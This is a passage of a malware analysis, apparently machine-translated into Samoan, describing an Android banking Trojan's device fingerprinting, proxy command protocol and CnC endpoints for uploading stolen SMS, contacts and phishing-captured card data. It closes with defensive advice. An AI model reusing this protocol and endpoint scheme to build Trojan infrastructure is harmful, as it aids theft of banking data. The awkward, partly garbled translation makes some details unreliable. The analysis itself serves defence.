- fa'ata'ita'iga - Le igoa fa'ai'u fa'aoga-va'aia mo le oloa fa'ai'uga.
- gaosi oloa — Le tagata gaosi oloa/mea faigaluega (Build.MANUFACTURER).
- androidVersion - o se manoa i le faatulagaga "<%release_version%> (<%os_version%>),<%sdk_version%>"
- atunuu - nofoaga o lo'o iai nei le masini.
- partnerId o se manoa gaogao.
- packageName – igoa afifi.
- networkType - ituaiga o fesoʻotaʻiga fesoʻotaʻiga o loʻo i ai nei (faʻataʻitaʻiga: "WIFI", "MOBILE"). I tulaga o mea sese, toe faafoi null.
- hasGsmSupport – moni – pe afai e lagolagoina e le telefoni le GSM, a leai, sese.
- simReady - tulaga kata SIM.
- simCountry - ISO country code (faʻavae i luga ole tuʻuina atu o kata SIM).
- networkOperator - igoa ole tagata faigaluega. Afai na tupu se mea sese i le faagasologa o le mauaina o le tau, o le a tusia se feau tusitusia sese nai lo lenei fanua.
- simOperator - Le Igoa o le Auaunaga (SPN). Afai na tupu se mea sese i le faagasologa o le mauaina o le tau, o le a tusia se feau tusitusia sese nai lo lenei fanua.
- version - o lenei fanua o loʻo teuina i le vasega config; mo faʻataʻitaʻiga faʻataʻitaʻiga o le bot e tutusa ma le "1.6".
5. Suia i le faiga o le faatalitali mo poloaiga mai le server. O poloaiga mai le server e sau i le faatulagaga:
- 0 offset - poloaiga
- 1 offset – sessionId
- 2 offset – umi
- 4 offset - fa'amaumauga
A oʻo mai se faʻatonuga, o le tusi talosaga e tusi:
mainLog("Ulu { sessionId<%id%>], ituaiga[<%command%>], umi[<%length%>] }")
O tulafono nei mai le 'au'aunaga e mafai:
igoa | faʻatonuga | Faʻamatalaga | faʻamatalaga |
---|---|---|---|
connectionId | 0 | ID So'oga | Fausia se feso'ota'iga fou |
FUA | 3 | taimi | Taofi le module Proxy |
PING_PONG | 4 | - | Auina atu le feau PONG |
O le PONG message e aofia ai le 4 bytes ma e pei o lenei: 0x04000000.
Pe a maua le connectionId poloaiga (ia faia se fesoʻotaʻiga fou) Command Connection faia se fa'ata'ita'iga o se vasega ProxyConnection.
- E lua vasega e auai i le sui: ProxyConnection и faaiuga. Pe a faia se vasega ProxyConnection feso'ota'i i le tuatusi ProxyConfigClass.host: ProxyConfigClass.proxyPort ma pasia le mea JSON:
{
"id":<%connectionId%>
}
I le tali atu, e tuʻuina atu e le 'auʻaunaga se feʻau SOCKS5 o loʻo i ai le tuatusi o le server mamao e tatau ona faʻavaeina ai le fesoʻotaʻiga. Fegalegaleai ma lenei server e tupu i le vasega faaiuga. O le seti feso'ota'iga e mafai ona fa'atusalia fa'atusa e fa'apea:
Fesootaiga feso'ota'iga
Ina ia puipuia le auʻiliʻiliga o fefaʻatauaiga e ala i fesoʻotaʻiga sniffers, o le fegalegaleaiga i le va o le CnC server ma le talosaga e mafai ona puipuia e ala i le SSL protocol. O fa'amatalaga uma na tu'uina atu mai ma i le 'au'aunaga o lo'o tu'uina atu i le JSON format. O le talosaga e faʻatino talosaga nei i le taimi o le faʻatinoga:
- http://<%CnC%>/api/v1/set_state.php - o le taunuuga o le faatinoga o le poloaiga.
- http://<%CnC%>/api/v1/get.php — mauaina o se poloaiga.
- http://<%CnC%>/api/v1/load_sms.php — la'uina mai o fe'au SMS mai se masini ua pisia.
- http://<%CnC%>/api/v1/load_ab.php - lafoina o se lisi o fesoʻotaʻiga mai se masini faʻamaʻi.
- http://<%CnC%>/api/v1/aevents.php - o le talosaga e faia pe a faʻafouina faʻamaufaʻailoga o loʻo i totonu o le faila e fiafia i ai.
- http://<%CnC%>/api/v1/set_card.php - fa'auluina o fa'amaumauga na maua i le fa'aogaina o se fa'amalama phishing e fa'afoliga o le Google Play Market.
- http://<%CnC%>/api/v1/logs.php - lafoina o faʻamaumauga o faʻamaumauga.
- http://<%CnC%>/api/v1/records.php - fa'auluina o fa'amaumauga na maua mai i fa'amalama phishing.
- http://<%CnC%>/api/v1/set_error.php - faʻamatalaga o se mea sese na tupu.
fautuaga
Ina ia puipuia a latou tagata faʻatau mai le taufaʻamataʻu o Trojans feaveaʻi, e tatau i kamupani ona faʻaogaina fofo atoatoa e mafai ai ona latou mataʻituina ma puipuia gaioiga leaga e aunoa ma le faʻapipiʻiina o polokalama faʻaopoopo i luga o masini faʻaoga.
Ina ia faia lenei mea, o auala saini mo le suʻeina o Trojans feaveaʻi e manaʻomia ona faʻamalosia i tekinolosi mo le suʻeina o amioga a le tagata faʻatau ma le talosaga lava ia. O le puipuiga e tatau foi ona aofia ai se galuega e iloagofie ai masini e faʻaaoga ai tekinolosi faʻapipiʻi tamatamailima, lea o le a mafai ai ona malamalama pe a faʻaaogaina se tala mai se masini faʻapitoa ma ua uma ona paʻu i lima o se tagata taufaasese.
O se tulaga taua tele o le maua lea o suʻesuʻega faʻasalalau, lea e mafai ai e kamupani ona pulea tulaga lamatia e le gata i luga ole Initaneti, ae faʻapea foʻi ile telefoni feaveaʻi, mo se faʻataʻitaʻiga, i talosaga mo teugatupe feaveaʻi, mo fefaʻatauaiga ma cryptocurrencies ma soʻo se isi mea. e mafai ona fa'atino fefa'ataua'iga tau tupe.
Tulafono mo le saogalemu mo tagata fa'aoga:
- aua le faʻapipiʻi tusi talosaga mo se masini feaveaʻi ma le Android OS mai soʻo se mea e ese mai i le Google Play, faʻalogo faapitoa i aia tatau e talosagaina e le talosaga;
- faʻapipiʻi masani faʻafouga Android OS;
- faʻalogo i faʻaopoopoga o faila na sii mai;
- aua le asiasi atu i punaoa masalomia;
- Aua le kiliki i luga o sootaga maua i feau SMS.
Fetu Semyon Rogacheva, fa'apitoa fa'apitoa i su'esu'ega malware i le Vaega-IB Computer Forensics Laboratory.
puna: www.habr.com